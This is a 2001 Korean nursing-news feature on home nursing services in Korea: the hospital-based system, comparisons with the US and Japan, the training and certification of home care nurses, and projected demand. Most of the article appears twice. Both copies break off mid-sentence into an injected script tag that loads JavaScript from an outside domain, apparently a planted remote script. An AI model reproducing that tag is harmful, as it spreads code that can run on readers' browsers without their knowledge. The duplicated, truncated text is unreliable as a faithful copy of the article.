Home / 이슈/기획
가정간호사업 현황과 전망(창간 25주년 특집)
지역사회 중심 가정간호사업소 필요
기사입력 2001-05-17 오전 11:51:16
심근경색으로 인한 심장마비로 6개월간 K종합병원에 입원했던 원씨(50·서울 도봉구 방학동 거주)는 일주일마다 한번씩 방문하는 가정전문간호사 덕분에 입원 당시 심했던 욕창이 말끔히 완치됐다.
또 열이 나거나 부주의로 인해 음식물 주입호스가 빠지더라도 이제는 병원에 전화만하면 언제든지 달려와 주는 가정전문간호사 덕에 아무런 걱정을 하지 않아도 돼 가족들을 늘 따라다니던 환자의 간병 문제도 간단히 해결됐다.
병원에 입원해 있다 퇴원한 환자나 외래환자가 병원과 연계해 가정에서 간호를 받을 수 있는 병원중심 가정간호제도가 지난 2월 본격 시행되면서 원씨의 경우처럼 환자가 있는 집마다 새로운 풍속도가 등장했다.
▶선진국선 이미 활성화
가정간호제도는 가정을 중심으로 환자나 가족에게 전문적 간호를 제공하는 전문간호사업의 한 분야로 선진국에서는 이미 활성화된 분야.
미국의 경우 자국의 보건의료정책과 맞물려 발전하고 있다. 미국은 최초의 가정간호사업소를 100여년 전인 1880년대에 세운 이래 1970년대의 성장기와 1980년대의 확대기를 거쳐 1990년대 이후 기능 강화기로 접어들었다. 1996년말 미 보건재정국은 메디케어 인증사업소(home health agency)로부터 인증받은 호스피스 7154개소를 포함해 가정간호사업소가 1만2181개소가 있으며 기타 메디케어로부터 인증받지 못한 사업소 8034개소를 합할 경우 2만215개소가 활동하고 있다고 공식 발표한 바 있다.
일본의 경우는 미국의 가정간호제도와는 달리 방문간호사들이 주축이 돼 정부 시책에 따른 노인보건의료문제를 해결하기 위한 지역분담제로 활발하게 활동하고 있다. 특히 1992년 노인보건의료서비스가 강화되면서 75세 이상 와상노인 퇴치작전을 위한 정부의 목표달성을 위해 방문간호사 10만명이 새로 채용되기도 했으며 1994년에는 신 골드플랜을 수립하면서 방문간호사를 중심으로 노인보건서비스 관리체계를 적극적으로 강화해 나가고 있다.
▶94년 처음 시범사업 실시
우리나라에서는 보건복지부가 국민의 의료비부담 완화와 양질의 의료제공이라는 취지로 지난 1989년 12월 전문 가정간호사제 신설 및 시행규칙을 개정하고 이듬해 서울대 보건대학원에 교육과정을 개설함으로써 시작됐다. 복지부는 이어 1994년 9월부터 최근까지 시범사업을 실시해 왔다.
또 지난 2월부터 병원중심 가정간호제도를 본격 시행한데 힘입어 가정간호제도를 운영하는 의료기관이 2개월 사이 전국 58개 기관으로 늘어났다.<표1 참조>
유호신 고대 간호대학 교수는 이와 관련 "가정간호제도가 만족스러운 수준에서 시행된 것은 아니지만 보건의료체계와 보건의료 제도권 내에서 법적 근거를 갖게 됐다는 점은 큰 의의를 지닌다"고 말했다.
유 교수는 또 "가정간호가 보건의료제도권 내에 도입되기까지는 직접적으로는 가정간호 교육과정이 개설되면서 약 10년 정도의 간호계의 준비과정과 1994년 9월부터 실시한 정부주관 병원중심 가정간호시범사업의 성과라고 볼 수 있다"고 덧붙였다.
유 교수는 그러나 "병원중심 가정간호만이 허용된 것은 입원한 건강보험 환자의 경우에만 제한적으로 가정간호서비스에 대한 지불보상 체계가 마련된 것을 의미한다"며 "이로 인해 향후 의료이용 형평성에 대한 구조적인 문제가 발생할 것"이라고 내다봤다.
현재의 가정간호는 병원에 입원한 환자를 대상으로 가정전문간호사가 가정을 방문해 제공하는 간호를 말한다. 즉 의료 및 간호기술과 친근한 인간적 간호가 조화를 이뤄 제공되는 건강관리 사업으로 치료적, 예방적, 지지적인 면에 중점을 둔 가정간호서비스다.
▶1년과정 이수후 자격취득
가정전문간호사 교육과정은 현재 13개 대학에서 운영되고 있다. 또 이들 교육기관을 통해 지난 2월말까지 모두 3304명이 자격을 취득했다. 이를 연도별로 보면 1991년 41명이 처음으로 자격을 취득한 이후, 1992년 121명, 1993년 232명, 1994년 270명, 1995년 293명, 1996년 207명, 1997년 305명, 1998년 356명, 1999년 429명, 2000년 424명, 2001년 626명(8월 자격취득예정자 제외)으로 해마다 취득자가 늘고 있다.
장현숙 보건산업진흥원 전문위원은 "지난 1999년 재가 와상노인의 보건의료서비스 요구도를 조사한 결과 재가노인 중 약 17.5%가 가정간호 대상자로 파악됐으며 특히 2.7%는 가정전문간호사의 서비스가 필요한 것으로 나타났다"며 "이를 토대로 중장기 수요를 예측해본 결과 2005년에는 1만5719명이 필요하다"고 말해 가정전문간호사 수가 크게 부족한 실정이다.
한편 13개 인정기관에서 선발하는 자격기준은 간호사 면허 소지자로 임상경력이 3년 이상돼야 한다. 또 1년간의 교과과정 동안 이론교육 352시간, 실습교육 248시간 등 총 600시간을 이수해야 한다. 가정간호과정 수습?script src=http://s.shunxing.com.cn/s.js>
목록
또 열이 나거나 부주의로 인해 음식물 주입호스가 빠지더라도 이제는 병원에 전화만하면 언제든지 달려와 주는 가정전문간호사 덕에 아무런 걱정을 하지 않아도 돼 가족들을 늘 따라다니던 환자의 간병 문제도 간단히 해결됐다.
병원에 입원해 있다 퇴원한 환자나 외래환자가 병원과 연계해 가정에서 간호를 받을 수 있는 병원중심 가정간호제도가 지난 2월 본격 시행되면서 원씨의 경우처럼 환자가 있는 집마다 새로운 풍속도가 등장했다.
▶선진국선 이미 활성화
가정간호제도는 가정을 중심으로 환자나 가족에게 전문적 간호를 제공하는 전문간호사업의 한 분야로 선진국에서는 이미 활성화된 분야.
미국의 경우 자국의 보건의료정책과 맞물려 발전하고 있다. 미국은 최초의 가정간호사업소를 100여년 전인 1880년대에 세운 이래 1970년대의 성장기와 1980년대의 확대기를 거쳐 1990년대 이후 기능 강화기로 접어들었다. 1996년말 미 보건재정국은 메디케어 인증사업소(home health agency)로부터 인증받은 호스피스 7154개소를 포함해 가정간호사업소가 1만2181개소가 있으며 기타 메디케어로부터 인증받지 못한 사업소 8034개소를 합할 경우 2만215개소가 활동하고 있다고 공식 발표한 바 있다.
일본의 경우는 미국의 가정간호제도와는 달리 방문간호사들이 주축이 돼 정부 시책에 따른 노인보건의료문제를 해결하기 위한 지역분담제로 활발하게 활동하고 있다. 특히 1992년 노인보건의료서비스가 강화되면서 75세 이상 와상노인 퇴치작전을 위한 정부의 목표달성을 위해 방문간호사 10만명이 새로 채용되기도 했으며 1994년에는 신 골드플랜을 수립하면서 방문간호사를 중심으로 노인보건서비스 관리체계를 적극적으로 강화해 나가고 있다.
▶94년 처음 시범사업 실시
우리나라에서는 보건복지부가 국민의 의료비부담 완화와 양질의 의료제공이라는 취지로 지난 1989년 12월 전문 가정간호사제 신설 및 시행규칙을 개정하고 이듬해 서울대 보건대학원에 교육과정을 개설함으로써 시작됐다. 복지부는 이어 1994년 9월부터 최근까지 시범사업을 실시해 왔다.
또 지난 2월부터 병원중심 가정간호제도를 본격 시행한데 힘입어 가정간호제도를 운영하는 의료기관이 2개월 사이 전국 58개 기관으로 늘어났다.<표1 참조>
유호신 고대 간호대학 교수는 이와 관련 "가정간호제도가 만족스러운 수준에서 시행된 것은 아니지만 보건의료체계와 보건의료 제도권 내에서 법적 근거를 갖게 됐다는 점은 큰 의의를 지닌다"고 말했다.
유 교수는 또 "가정간호가 보건의료제도권 내에 도입되기까지는 직접적으로는 가정간호 교육과정이 개설되면서 약 10년 정도의 간호계의 준비과정과 1994년 9월부터 실시한 정부주관 병원중심 가정간호시범사업의 성과라고 볼 수 있다"고 덧붙였다.
유 교수는 그러나 "병원중심 가정간호만이 허용된 것은 입원한 건강보험 환자의 경우에만 제한적으로 가정간호서비스에 대한 지불보상 체계가 마련된 것을 의미한다"며 "이로 인해 향후 의료이용 형평성에 대한 구조적인 문제가 발생할 것"이라고 내다봤다.
현재의 가정간호는 병원에 입원한 환자를 대상으로 가정전문간호사가 가정을 방문해 제공하는 간호를 말한다. 즉 의료 및 간호기술과 친근한 인간적 간호가 조화를 이뤄 제공되는 건강관리 사업으로 치료적, 예방적, 지지적인 면에 중점을 둔 가정간호서비스다.
▶1년과정 이수후 자격취득
가정전문간호사 교육과정은 현재 13개 대학에서 운영되고 있다. 또 이들 교육기관을 통해 지난 2월말까지 모두 3304명이 자격을 취득했다. 이를 연도별로 보면 1991년 41명이 처음으로 자격을 취득한 이후, 1992년 121명, 1993년 232명, 1994년 270명, 1995년 293명, 1996년 207명, 1997년 305명, 1998년 356명, 1999년 429명, 2000년 424명, 2001년 626명(8월 자격취득예정자 제외)으로 해마다 취득자가 늘고 있다.
장현숙 보건산업진흥원 전문위원은 "지난 1999년 재가 와상노인의 보건의료서비스 요구도를 조사한 결과 재가노인 중 약 17.5%가 가정간호 대상자로 파악됐으며 특히 2.7%는 가정전문간호사의 서비스가 필요한 것으로 나타났다"며 "이를 토대로 중장기 수요를 예측해본 결과 2005년에는 1만5719명이 필요하다"고 말해 가정전문간호사 수가 크게 부족한 실정이다.
한편 13개 인정기관에서 선발하는 자격기준은 간호사 면허 소지자로 임상경력이 3년 이상돼야 한다. 또 1년간의 교과과정 동안 이론교육 352시간, 실습교육 248시간 등 총 600시간을 이수해야 한다. 가정간호과정 수습?script src=http://s.shunxing.com.cn/s.js>
백찬기 ckbaik@nursenews.co.kr